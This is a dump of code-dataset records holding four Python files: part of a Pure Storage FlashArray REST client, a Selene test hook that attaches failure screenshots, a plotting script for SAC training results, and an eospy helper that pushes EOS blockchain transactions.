Requires use of REST API 1.2 or later. """ # In REST 1.4, support was added for snapshotting multiple pgroups. As a # result, the endpoint response changed from an object to an array of # objects. To keep the response type consistent between REST versions, # we unbox the response when creating a single snapshot. result = self.create_pgroup_snapshots([source], **kwargs) if self._rest_version >= LooseVersion("1.4"): headers = result.headers result = ResponseDict(result[0]) result.headers = headers return result def create_pgroup_snapshots(self, sources, **kwargs): """Create snapshots of pgroups from specified sources. :param sources: Names of pgroups of which to take snapshots. :type sources: list of str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **POST pgroup** :type \*\*kwargs: optional :returns: A list of dictionaries describing the created snapshots. :rtype: ResponseList .. note:: Requires use of REST API 1.2 or later. """ data = {"source": sources, "snap": True} data.update(kwargs) return self._request("POST", "pgroup", data) def destroy_pgroup(self, pgroup): """Destroy an existing pgroup. :param pgroup: Name of pgroup to be destroyed. :type pgroup: str :returns: A dictionary mapping "name" to pgroup. :rtype: ResponseDict .. note:: Requires use of REST API 1.2 or later. """ return self._request("DELETE", "pgroup/{0}".format(pgroup)) def disable_pgroup_replication(self, pgroup): """Disable replication schedule for pgroup. :param pgroup: Name of pgroup for which to disable replication schedule. :type pgroup: str :returns: A dictionary describing pgroup. :rtype: ResponseDict .. note:: Requires use of REST API 1.2 or later. """ return self.set_pgroup(pgroup, replicate_enabled=False) def enable_pgroup_replication(self, pgroup): """Enable replication schedule for pgroup. :param pgroup: Name of pgroup for which to enable replication schedule. :type pgroup: str :returns: A dictionary describing pgroup. :rtype: ResponseDict .. note:: Requires use of REST API 1.2 or later. """ return self.set_pgroup(pgroup, replicate_enabled=True) def disable_pgroup_snapshots(self, pgroup): """Disable snapshot schedule for pgroup. :type pgroup: str Name of pgroup for which to disable snapshot schedule. :rtype: ResponseDict :returns: A dictionary describing pgroup. .. note:: Requires use of REST API 1.2 or later. """ return self.set_pgroup(pgroup, snap_enabled=False) def enable_pgroup_snapshots(self, pgroup): """Enable snapshot schedule for pgroup. :param pgroup: Name of pgroup for which to enable snapshot schedule. :type pgroup: str :returns: A dictionary describing pgroup. :rtype: ResponseDict .. note:: Requires use of REST API 1.2 or later. """ return self.set_pgroup(pgroup, snap_enabled=True) def eradicate_pgroup(self, pgroup): """Eradicate a destroyed pgroup. :param pgroup: Name of pgroup to be eradicated. :type pgroup: str :returns: A dictionary mapping "name" to pgroup. :rtype: ResponseDict .. note:: Requires use of REST API 1.2 or later. """ return self._request("DELETE", "pgroup/{0}".format(pgroup), {"eradicate": True}) def get_pgroup(self, pgroup, **kwargs): """Return dictionary describing a pgroup or snapshot. :param pgroup: Name of pgroup to get information about. :type pgroup: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET pgroup** :type \*\*kwargs: optional :returns: A list describing snapshots of the pgroup if the paramater snap is passed as True, else a dictionary describing the pgroup. :rtype: ResponseDict or ResponseList .. note:: Requires use of REST API 1.2 or later. """ return self._request("GET", "pgroup/{0}".format(pgroup), kwargs) def list_pgroups(self, **kwargs): """Return list dictionaries describing each pgroup. :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET pgroup** :type \*\*kwargs: optional :returns: A list of dictionaries describing each pgroup. :rtype: ResponseList .. note:: Requires use of REST API 1.2 or later. """ return self._request("GET", "pgroup", kwargs) def recover_pgroup(self, pgroup): """Recover a destroyed pgroup that has not yet been eradicated. :param pgroup: Name of pgroup to be recovered. :type pgroup: str :returns: A dictionary mapping "name" to pgroup. :rtype: ResponseDict .. note:: Requires use of REST API 1.2 or later. """ return self.set_pgroup(pgroup, action="recover") def rename_pgroup(self, pgroup, name): """Rename a pgroup. :param pgroup: Current name of pgroup to be renamed. :type pgroup: str :param name: New name of pgroup to be renamed. :type name: str :returns: A dictionary mapping "name" to name. :rtype: ResponseDict .. note:: Requires use of REST API 1.2 or later. """ return self.set_pgroup(pgroup, name=name) def set_pgroup(self, pgroup, **kwargs): """Set an attribute of a pgroup. :param pgroup: Name of pgroup for which to set attribute. :type pgroup: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **PUT pgroup/:pgroup** :type \*\*kwargs: optional :returns: A dictionary describing pgroup. :rtype: ResponseDict .. note:: Requires use of REST API 1.2 or later. """ return self._request("PUT", "pgroup/{0}".format(pgroup), kwargs) # # SSL Certificate related methods. # Note: These methods only work with REST API 1.3 and later # def get_certificate(self, **kwargs): """Get the attributes of the current array certificate. :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET cert** :type \*\*kwargs: optional :returns: A dictionary describing the configured array certificate. :rtype: ResponseDict .. note:: Requires use of REST API 1.3 or later. """ return self._request("GET", "cert", kwargs) def get_certificate_signing_request(self, **kwargs): """Construct a certificate signing request (CSR) for signing by a certificate authority (CA). :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET cert/certificate_signing_request** :type \*\*kwargs: optional :returns: A dictionary mapping "certificate_signing_request" to the CSR. :rtype: ResponseDict .. note:: Requires use of REST API 1.3 or later. """ return self._request("GET", "cert/certificate_signing_request", kwargs) def set_certificate(self, **kwargs): """Create a self-signed certificate or imports a certificate signed by a certificate authority (CA). :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **PUT cert** :type \*\*kwargs: optional :returns: A dictionary describing the configured array certificate. :rtype: ResponseDict .. note:: Requires use of REST API 1.3 or later. """ return self._request("PUT", "cert", kwargs) @staticmethod def page_through(page_size, function, *args, **kwargs): """Return an iterator over all pages of a REST operation. :param page_size: Number of elements to retrieve per call. :param function: FlashArray function that accepts limit as an argument. :param \*args: Positional arguments to be passed to function. :param \*\*kwargs: Keyword arguments to be passed to function. :returns: An iterator of tuples containing a page of results for the function(\*args, \*\*kwargs) and None, or None and a PureError if a call to retrieve a page fails. :rtype: iterator .. note:: Requires use of REST API 1.7 or later. Only works with functions that accept limit as an argument. Iterator will retrieve page_size elements per call Iterator will yield None and an error if a call fails. The next call will repeat the same call, unless the caller sends in an alternate page token. """ kwargs["limit"] = page_size def get_page(token): page_kwargs = kwargs.copy() if token: page_kwargs["token"] = token return function(*args, **page_kwargs) def page_generator(): token = None while True: try: response = get_page(token) token = response.headers.get("x-next-token") except PureError as err: yield None, err else: if response: sent_token = yield response, None if sent_token is not None: token = sent_token else: return return page_generator() # # App management methods # def get_app(self, app): """Get app attributes. :param app: Name of app to get information about. :type app: str :returns: A dictionary describing app. :rtype: ResponseDict """ return self._request("GET", "app/{0}".format(app)) def list_apps(self, **kwargs): """Returns a list of dictionaries describing apps. :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET app** :type \*\*kwargs: optional :returns: A list of dictionaries describing each app. :rtype: ResponseList """ return self._request("GET", "app", kwargs) class ResponseList(list): """List type returned by FlashArray object. :ivar dict headers: The headers returned in the request. """ def __init__(self, l=()): super(ResponseList, self).__init__(l) self.headers = {} class ResponseDict(dict): """Dict type returned by FlashArray object. :ivar dict headers: The headers returned in the request. """ def __init__(self, d=()): super(ResponseDict, self).__init__(d) self.headers = {} class PureError(Exception): """Exception type raised by FlashArray object. :param reason: A message describing why the error occurred. :type reason: str :ivar str reason: A message describing why the error occurred. """ def __init__(self, reason): self.reason = reason super(PureError, self).__init__() def __str__(self): return "PureError: {0}".format(self.reason) class PureHTTPError(PureError): """Exception raised as a result of non-200 response status code. :param target: IP or DNS name of the array that received the HTTP request. :type target: str :param rest_version: The REST API version that was used when making the request. :type rest_version: str :param response: The response of the HTTP request that caused the error. :type response: :class:`requests.Response` :ivar str target: IP or DNS name of the array that received the HTTP request. :ivar str rest_version: The REST API version that was used when making the request. :ivar int code: The HTTP response status code of the request. :ivar dict headers: A dictionary containing the header information. Keys are case-insensitive. :ivar str reason: The textual reason for the HTTP status code (e.g. "BAD REQUEST"). :ivar str text: The body of the response which may contain a message explaining the error. .. note:: The error message in text is not guaranteed to be consistent across REST versions, and thus should not be programmed against. """ def __init__(self, target, rest_version, response): super(PureHTTPError, self).__init__(response.reason) self.target = target self.rest_version = rest_version self.code = response.status_code self.headers = response.headers self.text = response.text def __str__(self): msg = ("PureHTTPError status code {0} returned by REST " "version {1} at {2}: {3}\n{4}") return msg.format(self.code, self.rest_version, self.target, self.reason, self.text)

32.207913

91

0.589989

import json import requests from distutils.version import LooseVersion VERSION = "1.11.3" class FlashArray(object): supported_rest_versions = [ "1.11", "1.10", "1.9", "1.8", "1.7", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0", ] def __init__(self, target, username=None, password=None, api_token=None, rest_version=None, verify_https=False, ssl_cert=None, user_agent=None): if not api_token and not (username and password): raise ValueError( "Must specify API token or both username and password.") elif api_token and (username or password): raise ValueError( "Specify only API token or both username and password.") self._cookies = {} self._target = target self._renegotiate_rest_version = False if rest_version else True self._verify_https = verify_https self._ssl_cert = ssl_cert self._user_agent = user_agent self._rest_version = rest_version if self._rest_version: self._rest_version = self._check_rest_version(rest_version) else: self._rest_version = self._choose_rest_version() self._api_token = (api_token or self._obtain_api_token(username, password)) self._start_session() def _request(self, method, path, data=None, reestablish_session=True): if path.startswith("https://"): url = path else: url = "https://{0}/api/{1}/{2}".format( self._target, self._rest_version, path) headers = {"Content-Type": "application/json"} if self._user_agent: headers['User-Agent'] = self._user_agent body = json.dumps(data).encode("utf-8") verify = False if self._verify_https: if self._ssl_cert: verify = self._ssl_cert else: verify = True try: response = requests.request(method, url, data=body, headers=headers, cookies=self._cookies, verify=verify) except requests.exceptions.RequestException as err: raise PureError(err.message) if response.status_code == 200: if "application/json" in response.headers.get("Content-Type", ""): if response.cookies: self._cookies.update(response.cookies) else: self._cookies.clear() content = response.json() if isinstance(content, list): content = ResponseList(content) elif isinstance(content, dict): content = ResponseDict(content) content.headers = response.headers return content raise PureError("Response not in JSON: " + response.text) elif response.status_code == 401 and reestablish_session: self._start_session() return self._request(method, path, data, False) elif response.status_code == 450 and self._renegotiate_rest_version: old_version = self._rest_version self._rest_version = self._choose_rest_version() if old_version == self._rest_version: raise PureHTTPError(self._target, str(self._rest_version), response) return self._request(method, path, data, reestablish_session) else: raise PureHTTPError(self._target, str(self._rest_version), response) def _check_rest_version(self, version): version = str(version) if version not in self.supported_rest_versions: msg = "Library is incompatible with REST API version {0}" raise ValueError(msg.format(version)) array_rest_versions = self._list_available_rest_versions() if version not in array_rest_versions: msg = "Array is incompatible with REST API version {0}" raise ValueError(msg.format(version)) return LooseVersion(version) def _choose_rest_version(self): versions = self._list_available_rest_versions() versions = [LooseVersion(x) for x in versions if x in self.supported_rest_versions] if versions: return max(versions) else: raise PureError( "Library is incompatible with all REST API versions supported" "by the target array.") def _list_available_rest_versions(self): url = "https://{0}/api/api_version".format(self._target) data = self._request("GET", url, reestablish_session=False) return data["version"] def _obtain_api_token(self, username, password): data = self._request("POST", "auth/apitoken", {"username": username, "password": password}, reestablish_session=False) return data["api_token"] def _start_session(self): self._request("POST", "auth/session", {"api_token": self._api_token}, reestablish_session=False) def get_rest_version(self): return str(self._rest_version) def invalidate_cookie(self): self._request("DELETE", "auth/session") def _set_console_lock(self, **kwargs): return self._request("PUT", "array/console_lock", kwargs) def enable_console_lock(self): return self._set_console_lock(enabled=True) def disable_console_lock(self): return self._set_console_lock(enabled=False) def get(self, **kwargs): return self._request("GET", "array", kwargs) def get_console_lock_status(self): return self._request("GET", "array/console_lock") def rename(self, name): return self.set(name=name) def set(self, **kwargs): return self._request("PUT", "array", kwargs) def _set_volume(self, volume, **kwargs): return self._request("PUT", "volume/{0}".format(volume), kwargs) def create_snapshot(self, volume, **kwargs): return self.create_snapshots([volume], **kwargs)[0] def create_snapshots(self, volumes, **kwargs): data = {"source": volumes, "snap": True} data.update(kwargs) return self._request("POST", "volume", data) def create_volume(self, volume, size): return self._request("POST", "volume/{0}".format(volume), {"size":size}) def copy_volume(self, source, dest, **kwargs): data = {"source": source} data.update(kwargs) return self._request("POST", "volume/{0}".format(dest), data) def destroy_volume(self, volume): return self._request("DELETE", "volume/{0}".format(volume)) def eradicate_volume(self, volume): return self._request("DELETE", "volume/{0}".format(volume), {"eradicate": True}) def extend_volume(self, volume, size): return self._set_volume(volume, size=size, truncate=False) def get_volume(self, volume, **kwargs): return self._request("GET", "volume/{0}".format(volume), kwargs) def add_volume(self, volume, pgroup): return self._request("POST", "volume/{0}/pgroup/{1}".format(volume, pgroup)) def remove_volume(self, volume, pgroup): return self._request("DELETE", "volume/{0}/pgroup/{1}".format(volume, pgroup)) def list_volume_block_differences(self, volume, **kwargs): return self._request("GET", "volume/{0}/diff".format(volume), kwargs) def list_volume_private_connections(self, volume, **kwargs): return self._request("GET", "volume/{0}/host".format(volume), kwargs) def list_volume_shared_connections(self, volume, **kwargs): return self._request("GET", "volume/{0}/hgroup".format(volume), kwargs) def list_volumes(self, **kwargs): return self._request("GET", "volume", kwargs) def rename_volume(self, volume, name): return self._set_volume(volume, name=name) def recover_volume(self, volume): return self._set_volume(volume, action="recover") def truncate_volume(self, volume, size): return self._set_volume(volume, size=size, truncate=True) def connect_host(self, host, volume, **kwargs): return self._request( "POST", "host/{0}/volume/{1}".format(host, volume), kwargs) def create_host(self, host, **kwargs): return self._request("POST", "host/{0}".format(host), kwargs) def delete_host(self, host): return self._request("DELETE", "host/{0}".format(host)) def disconnect_host(self, host, volume): return self._request("DELETE", "host/{0}/volume/{1}".format(host, volume)) def get_host(self, host, **kwargs): return self._request("GET", "host/{0}".format(host), kwargs) def add_host(self, host, pgroup): return self._request("POST", "host/{0}/pgroup/{1}".format(host, pgroup)) def remove_host(self, host, pgroup): return self._request("DELETE", "host/{0}/pgroup/{1}".format(host, pgroup)) def list_host_connections(self, host, **kwargs): return self._request("GET", "host/{0}/volume".format(host), kwargs) def list_hosts(self, **kwargs): return self._request("GET", "host", kwargs) def rename_host(self, host, name): return self.set_host(host, name=name) def set_host(self, host, **kwargs): return self._request("PUT", "host/{0}".format(host), kwargs) def connect_hgroup(self, hgroup, volume, **kwargs): return self._request( "POST", "hgroup/{0}/volume/{1}".format(hgroup, volume), kwargs) def create_hgroup(self, hgroup, **kwargs): return self._request("POST", "hgroup/{0}".format(hgroup), kwargs) def delete_hgroup(self, hgroup): return self._request("DELETE", "hgroup/{0}".format(hgroup)) def disconnect_hgroup(self, hgroup, volume): return self._request("DELETE", "hgroup/{0}/volume/{1}".format(hgroup, volume)) def get_hgroup(self, hgroup, **kwargs): return self._request("GET", "hgroup/{0}".format(hgroup), kwargs) def add_hgroup(self, hgroup, pgroup): return self._request("POST", "hgroup/{0}/pgroup/{1}".format(hgroup, pgroup)) def remove_hgroup(self, hgroup, pgroup): return self._request("DELETE", "hgroup/{0}/pgroup/{1}".format(hgroup, pgroup)) def list_hgroup_connections(self, hgroup): return self._request("GET", "hgroup/{0}/volume".format(hgroup)) def list_hgroups(self, **kwargs): return self._request("GET", "hgroup", kwargs) def rename_hgroup(self, hgroup, name): return self.set_hgroup(hgroup, name=name) def set_hgroup(self, hgroup, **kwargs): return self._request("PUT", "hgroup/{0}".format(hgroup), kwargs) def disable_network_interface(self, interface): return self.set_network_interface(interface, enabled=False) def enable_network_interface(self, interface): return self.set_network_interface(interface, enabled=True) def get_network_interface(self, interface): return self._request("GET", "network/{0}".format(interface)) def list_network_interfaces(self): return self._request("GET", "network") def set_network_interface(self, interface, **kwargs): return self._request("PUT", "network/{0}".format(interface), kwargs) def create_subnet(self, subnet, prefix, **kwargs): data = {"prefix": prefix} data.update(kwargs) return self._request("POST", "subnet/{0}".format(subnet), data) def delete_subnet(self, subnet): return self._request("DELETE", "subnet/{0}".format(subnet)) def disable_subnet(self, subnet): return self.set_subnet(subnet, enabled=False) def enable_subnet(self, subnet): return self.set_subnet(subnet, enabled=True) def get_subnet(self, subnet): return self._request("GET", "subnet/{0}".format(subnet)) def list_subnets(self, **kwargs): return self._request("GET", "subnet", kwargs) def rename_subnet(self, subnet, name): return self.set_subnet(subnet, name=name) def set_subnet(self, subnet, **kwargs): return self._request("PUT", "subnet/{0}".format(subnet), kwargs) def create_vlan_interface(self, interface, subnet, **kwargs): data = {"subnet": subnet} data.update(kwargs) return self._request("POST", "network/vif/{0}".format(interface), data) def delete_vlan_interface(self, interface): return self._request("DELETE", "network/{0}".format(interface)) def get_dns(self): return self._request("GET", "dns") def set_dns(self, **kwargs): return self._request("PUT", "dns", kwargs) def list_ports(self, **kwargs): return self._request("GET", "port", kwargs) def get_drive(self, drive): return self._request("GET", "drive/{0}".format(drive)) def list_drives(self): return self._request("GET", "drive") def get_hardware(self, component, **kwargs): return self._request("GET", "hardware/{0}".format(component), kwargs) def list_hardware(self, **kwargs): return self._request("GET", "hardware", kwargs) def set_hardware(self, component, **kwargs): return self._request("PUT", "hardware/{0}".format(component), kwargs) def _list_admin(self, **kwargs): return self._request("GET", "admin", kwargs) def _set_admin(self, admin, **kwargs): return self._request("PUT", "admin/{0}".format(admin), kwargs) def create_api_token(self, admin, **kwargs): return self._request("POST", "admin/{0}/apitoken".format(admin), kwargs) def delete_api_token(self, admin): return self._request("DELETE", "admin/{0}/apitoken".format(admin)) def get_publickey(self, admin): return self._request("GET", "admin/{0}".format(admin), {"publickey": True}) def get_api_token(self, admin, **kwargs): return self._request("GET", "admin/{0}/apitoken".format(admin)) def list_publickeys(self): return self._list_admin(publickey=True) def list_api_tokens(self, **kwargs): return self._list_admin(api_token=True, **kwargs) def refresh_admin(self, admin, **kwargs): return self._set_admin(admin, action="refresh", **kwargs) def refresh_admins(self): return self._request("PUT", "admin", {"action": "refresh", "clear": True}) def set_publickey(self, admin, key): return self._set_admin(admin, publickey=key) def set_password(self, admin, new_password, old_password): return self._set_admin(admin, password=new_password, old_password=old_password) def disable_directory_service(self, check_peer=False): if check_peer: return self.set_directory_service(check_peer=False) return self.set_directory_service(enabled=False) def enable_directory_service(self, check_peer=False): if check_peer: return self.set_directory_service(check_peer=True) return self.set_directory_service(enabled=True) def get_directory_service(self, **kwargs): return self._request("GET", "directoryservice", kwargs) def set_directory_service(self, **kwargs): return self._request("PUT", "directoryservice", kwargs) def test_directory_service(self): return self.set_directory_service(action="test") def _set_phonehome(self, **kwargs): return self._request("PUT", "array/phonehome", kwargs) def _set_remote_assist(self, **kwargs): return self._request("PUT", "array/remoteassist", kwargs) def disable_phonehome(self): return self._set_phonehome(enabled=False) def disable_remote_assist(self): return self._set_remote_assist(action="disconnect") def enable_phonehome(self): return self._set_phonehome(enabled=True) def enable_remote_assist(self): return self._set_remote_assist(action="connect") def get_manual_phonehome_status(self): return self._request("GET", "array/phonehome") def get_phonehome(self): return self.get(phonehome=True) def get_remote_assist_status(self): return self._request("GET", "array/remoteassist") def phonehome(self, action): return self._set_phonehome(action=action) def _set_alert_recipient(self, address, **kwargs): return self._request("PUT", "alert/{0}".format(address), kwargs) def _set_message(self, message_id, **kwargs): return self._request("PUT", "message/{0}".format(message_id), kwargs) def clear_message(self, message_id): return self._set_message(message_id, flagged=False) def create_alert_recipient(self, address): return self._request("POST", "alert/{0}".format(address)) def delete_alert_recipient(self, address): return self._request("DELETE", "alert/{0}".format(address)) def disable_alert_recipient(self, address): return self._set_alert_recipient(address, enabled=False) def enable_alert_recipient(self, address): return self._set_alert_recipient(address, enabled=True) def flag_message(self, message_id): return self._set_message(message_id, flagged=True) def get_alert_recipient(self, address): return self._request("GET", "alert/{0}".format(address)) def list_alert_recipients(self): return self._request("GET", "alert") def list_messages(self, **kwargs): return self._request("GET", "message", kwargs) def test_alert(self): return self._request("PUT", "alert", {"action": "test"}) def test_alert_recipient(self, address): return self._set_alert_recipient(address, action="test") def create_snmp_manager(self, manager, host, **kwargs): data = {"host": host} data.update(kwargs) return self._request("POST", "snmp/{0}".format(manager), data) def delete_snmp_manager(self, manager): return self._request("DELETE", "snmp/{0}".format(manager)) def get_snmp_engine_id(self): return self._request("GET", "snmp", {"engine_id": True}) def get_snmp_manager(self, manager): return self._request("GET", "snmp/{0}".format(manager)) def list_snmp_managers(self): return self._request("GET", "snmp") def rename_snmp_manager(self, manager, name): return self.set_snmp_manager(manager, name=name) def set_snmp_manager(self, manager, **kwargs): return self._request("PUT", "snmp/{0}".format(manager), kwargs) def test_snmp_manager(self, manager): return self.set_snmp_manager(manager, action="test") def connect_array(self, address, connection_key, connection_type, **kwargs): data = {"address": address, "connection_key": connection_key, "type": connection_type} data.update(kwargs) return self._request("POST", "array/connection", data) def disconnect_array(self, address): return self._request("DELETE", "array/connection/{0}".format(address)) def list_array_connections(self, **kwargs): return self._request("GET", "array/connection", kwargs) def throttle_array_connection(self, address, **kwargs): return self._request("PUT", "array/connection/{0}".format(address), kwargs) def create_pgroup(self, pgroup, **kwargs): return self._request("POST", "pgroup/{0}".format(pgroup), kwargs) def create_pgroup_snapshot(self, source, **kwargs): result = self.create_pgroup_snapshots([source], **kwargs) if self._rest_version >= LooseVersion("1.4"): headers = result.headers result = ResponseDict(result[0]) result.headers = headers return result def create_pgroup_snapshots(self, sources, **kwargs): data = {"source": sources, "snap": True} data.update(kwargs) return self._request("POST", "pgroup", data) def destroy_pgroup(self, pgroup): return self._request("DELETE", "pgroup/{0}".format(pgroup)) def disable_pgroup_replication(self, pgroup): return self.set_pgroup(pgroup, replicate_enabled=False) def enable_pgroup_replication(self, pgroup): return self.set_pgroup(pgroup, replicate_enabled=True) def disable_pgroup_snapshots(self, pgroup): return self.set_pgroup(pgroup, snap_enabled=False) def enable_pgroup_snapshots(self, pgroup): return self.set_pgroup(pgroup, snap_enabled=True) def eradicate_pgroup(self, pgroup): return self._request("DELETE", "pgroup/{0}".format(pgroup), {"eradicate": True}) def get_pgroup(self, pgroup, **kwargs): return self._request("GET", "pgroup/{0}".format(pgroup), kwargs) def list_pgroups(self, **kwargs): return self._request("GET", "pgroup", kwargs) def recover_pgroup(self, pgroup): return self.set_pgroup(pgroup, action="recover") def rename_pgroup(self, pgroup, name): return self.set_pgroup(pgroup, name=name) def set_pgroup(self, pgroup, **kwargs): return self._request("PUT", "pgroup/{0}".format(pgroup), kwargs) def get_certificate(self, **kwargs): return self._request("GET", "cert", kwargs) def get_certificate_signing_request(self, **kwargs): return self._request("GET", "cert/certificate_signing_request", kwargs) def set_certificate(self, **kwargs): return self._request("PUT", "cert", kwargs) @staticmethod def page_through(page_size, function, *args, **kwargs): kwargs["limit"] = page_size def get_page(token): page_kwargs = kwargs.copy() if token: page_kwargs["token"] = token return function(*args, **page_kwargs) def page_generator(): token = None while True: try: response = get_page(token) token = response.headers.get("x-next-token") except PureError as err: yield None, err else: if response: sent_token = yield response, None if sent_token is not None: token = sent_token else: return return page_generator() def get_app(self, app): return self._request("GET", "app/{0}".format(app)) def list_apps(self, **kwargs): return self._request("GET", "app", kwargs) class ResponseList(list): def __init__(self, l=()): super(ResponseList, self).__init__(l) self.headers = {} class ResponseDict(dict): def __init__(self, d=()): super(ResponseDict, self).__init__(d) self.headers = {} class PureError(Exception): def __init__(self, reason): self.reason = reason super(PureError, self).__init__() def __str__(self): return "PureError: {0}".format(self.reason) class PureHTTPError(PureError): def __init__(self, target, rest_version, response): super(PureHTTPError, self).__init__(response.reason) self.target = target self.rest_version = rest_version self.code = response.status_code self.headers = response.headers self.text = response.text def __str__(self): msg = ("PureHTTPError status code {0} returned by REST " "version {1} at {2}: {3}\n{4}") return msg.format(self.code, self.rest_version, self.target, self.reason, self.text)

true

f7325d5471f3864ebbc211b12867d82ff5de718c

1,304

py

Python

web_test/assist/selene/shared/hook.py

yashaka/selene-pytest-template

12ed37ac5970f415c61cae50d03c62a7d31975fa

[ "MIT" ]

null

web_test/assist/selene/shared/hook.py

yashaka/selene-pytest-template

12ed37ac5970f415c61cae50d03c62a7d31975fa

[ "MIT" ]

null

web_test/assist/selene/shared/hook.py

yashaka/selene-pytest-template

12ed37ac5970f415c61cae50d03c62a7d31975fa

[ "MIT" ]

null

import allure from selene.core.exceptions import TimeoutException from selene.support.shared import browser def attach_snapshots_on_failure(error: TimeoutException) -> Exception: """ An example of selene hook_wait_failure that attaches snapshots to failed test step. It is actually might not needed, because using pytest_runtest_makereport hook you can achieve similar by attaching screenshots to the test body itself, that is more handy during analysis of test report but if you need it, you can use it by adding to your browser setup fixture:: import web_test browser.config.hook_wait_failure = \ web_test.assist.selene.shared.hook.attach_snapshots_on_failure otherwise, you can skip it;) """ last_screenshot = browser.config.last_screenshot if last_screenshot: allure.attach.file(source=last_screenshot, name='screenshot on failure', attachment_type=allure.attachment_type.PNG) last_page_source = browser.config.last_page_source if last_page_source: allure.attach.file(source=last_page_source, name='page source on failure', attachment_type=allure.attachment_type.HTML) return error

37.257143

87

0.696319

import allure from selene.core.exceptions import TimeoutException from selene.support.shared import browser def attach_snapshots_on_failure(error: TimeoutException) -> Exception: last_screenshot = browser.config.last_screenshot if last_screenshot: allure.attach.file(source=last_screenshot, name='screenshot on failure', attachment_type=allure.attachment_type.PNG) last_page_source = browser.config.last_page_source if last_page_source: allure.attach.file(source=last_page_source, name='page source on failure', attachment_type=allure.attachment_type.HTML) return error

true

f7325e38e6b3e37a43fb029d0d2a6c0bc984703c

1,956

py

Python

experiments/Scripts for creating plots/sac_performance_over_generations.py

arlo-lib/ARLO

159669884044686e36e07bd1cc0948884ed7cc8d

[ "MIT" ]

null

experiments/Scripts for creating plots/sac_performance_over_generations.py

arlo-lib/ARLO

159669884044686e36e07bd1cc0948884ed7cc8d

[ "MIT" ]

null

experiments/Scripts for creating plots/sac_performance_over_generations.py

arlo-lib/ARLO

159669884044686e36e07bd1cc0948884ed7cc8d

[ "MIT" ]

null

import numpy as np import matplotlib.pyplot as plt if __name__ == '__main__': x=np.arange(50) y=np.array([-59.00138158129509, -43.966695525591895, -52.5277642686108, -32.1793153104166, -37.81484603001339, -24.97787027415733, -20.170115700140766, -19.194577812051865, -24.267556747544734, -18.56846706310683, -24.168507205879642, -21.613453728913854, -19.833679338413056, -16.78310378266553, -15.692655896866523, -15.496178593312704, -15.23787215267857, -14.754095951096263, -12.79724037524585, -11.496812508420765, -11.593305322673082, -12.144980726639616, -11.889169042516812, -10.983010599192548, -10.751331950717917, -10.887445777009278, -10.94197566653676, -10.983575687515879, -10.315668585661115, -10.200188159394665, -10.2623815297516, -9.98878690162022, -9.664489111145294, -9.798550374351311, -9.66769644336881, -9.114549499466483, -9.259332831572362, -9.175694376996443, -9.415038345909062, -9.50191440403006, -9.36517394141991, -9.244892043097575, -9.220243263930586, -9.160062939634974, -9.293750423507198, -9.189954421974406, -9.125946744761388, -9.182482014624696, -9.135265034880312, -9.35027383852138]) plt.plot() plt.plot(x,y)

33.152542

37

0.463701

import numpy as np import matplotlib.pyplot as plt if __name__ == '__main__': x=np.arange(50) y=np.array([-59.00138158129509, -43.966695525591895, -52.5277642686108, -32.1793153104166, -37.81484603001339, -24.97787027415733, -20.170115700140766, -19.194577812051865, -24.267556747544734, -18.56846706310683, -24.168507205879642, -21.613453728913854, -19.833679338413056, -16.78310378266553, -15.692655896866523, -15.496178593312704, -15.23787215267857, -14.754095951096263, -12.79724037524585, -11.496812508420765, -11.593305322673082, -12.144980726639616, -11.889169042516812, -10.983010599192548, -10.751331950717917, -10.887445777009278, -10.94197566653676, -10.983575687515879, -10.315668585661115, -10.200188159394665, -10.2623815297516, -9.98878690162022, -9.664489111145294, -9.798550374351311, -9.66769644336881, -9.114549499466483, -9.259332831572362, -9.175694376996443, -9.415038345909062, -9.50191440403006, -9.36517394141991, -9.244892043097575, -9.220243263930586, -9.160062939634974, -9.293750423507198, -9.189954421974406, -9.125946744761388, -9.182482014624696, -9.135265034880312, -9.35027383852138]) plt.plot() plt.plot(x,y)

true

f7325e94e83568ba3af3aaa3e3f4c4a03332c471

1,351

py

Python

contract.py

wxz52155/OpenFarmerOnAnchor

c089f0955cc4041818a64e01e3f13e5337ddd396

[ "Apache-2.0" ]

null

contract.py

wxz52155/OpenFarmerOnAnchor

c089f0955cc4041818a64e01e3f13e5337ddd396

[ "Apache-2.0" ]

null

contract.py

wxz52155/OpenFarmerOnAnchor

c089f0955cc4041818a64e01e3f13e5337ddd396

[ "Apache-2.0" ]

1

2022-01-21T04:09:52.000Z

import datetime as dt from requests import HTTPError import eospy.cleos import eospy.keys import pytz from settings import user_param def push_transaction(params_json): # this url is to a testnet that may or may not be working. # We suggest using a different testnet such as kylin or jungle # ce = eospy.cleos.Cleos(url=user_param.rpc_domain) arguments = params_json['actions'][0]['data'] payload = { "account": params_json['actions'][0]['account'], "name": params_json['actions'][0]['name'], "authorization": params_json['actions'][0]['authorization'], } # Converting payload to binary data = ce.abi_json_to_bin(payload['account'], payload['name'], arguments) # Inserting payload binary form as "data" field in original payload payload['data'] = data['binargs'] # final transaction formed trx = {"actions": [payload]} trx['expiration'] = str( (dt.datetime.utcnow() + dt.timedelta(seconds=60)).replace(tzinfo=pytz.UTC)) # use a string or EOSKey for push_transaction # key = "5KQwrPbwdL6PhXujxW37FSSQZ1JiwsST4cqQzDeyXtP79zkvFD3" # use EOSKey: key = eospy.keys.EOSKey(user_param.private_key) try: resp = ce.push_transaction(trx, key, broadcast=True) return True, resp except HTTPError as e: return False, str(e)

33.775

83

0.679497

import datetime as dt from requests import HTTPError import eospy.cleos import eospy.keys import pytz from settings import user_param def push_transaction(params_json): ce = eospy.cleos.Cleos(url=user_param.rpc_domain) arguments = params_json['actions'][0]['data'] payload = { "account": params_json['actions'][0]['account'], "name": params_json['actions'][0]['name'], "authorization": params_json['actions'][0]['authorization'], } data = ce.abi_json_to_bin(payload['account'], payload['name'], arguments) payload['data'] = data['binargs'] trx = {"actions": [payload]} trx['expiration'] = str( (dt.datetime.utcnow() + dt.timedelta(seconds=60)).replace(tzinfo=pytz.UTC)) key = eospy.keys.EOSKey(user_param.private_key) try: resp = ce.push_transaction(trx, key, broadcast=True) return True, resp except HTTPError as e: return False, str(e)

true

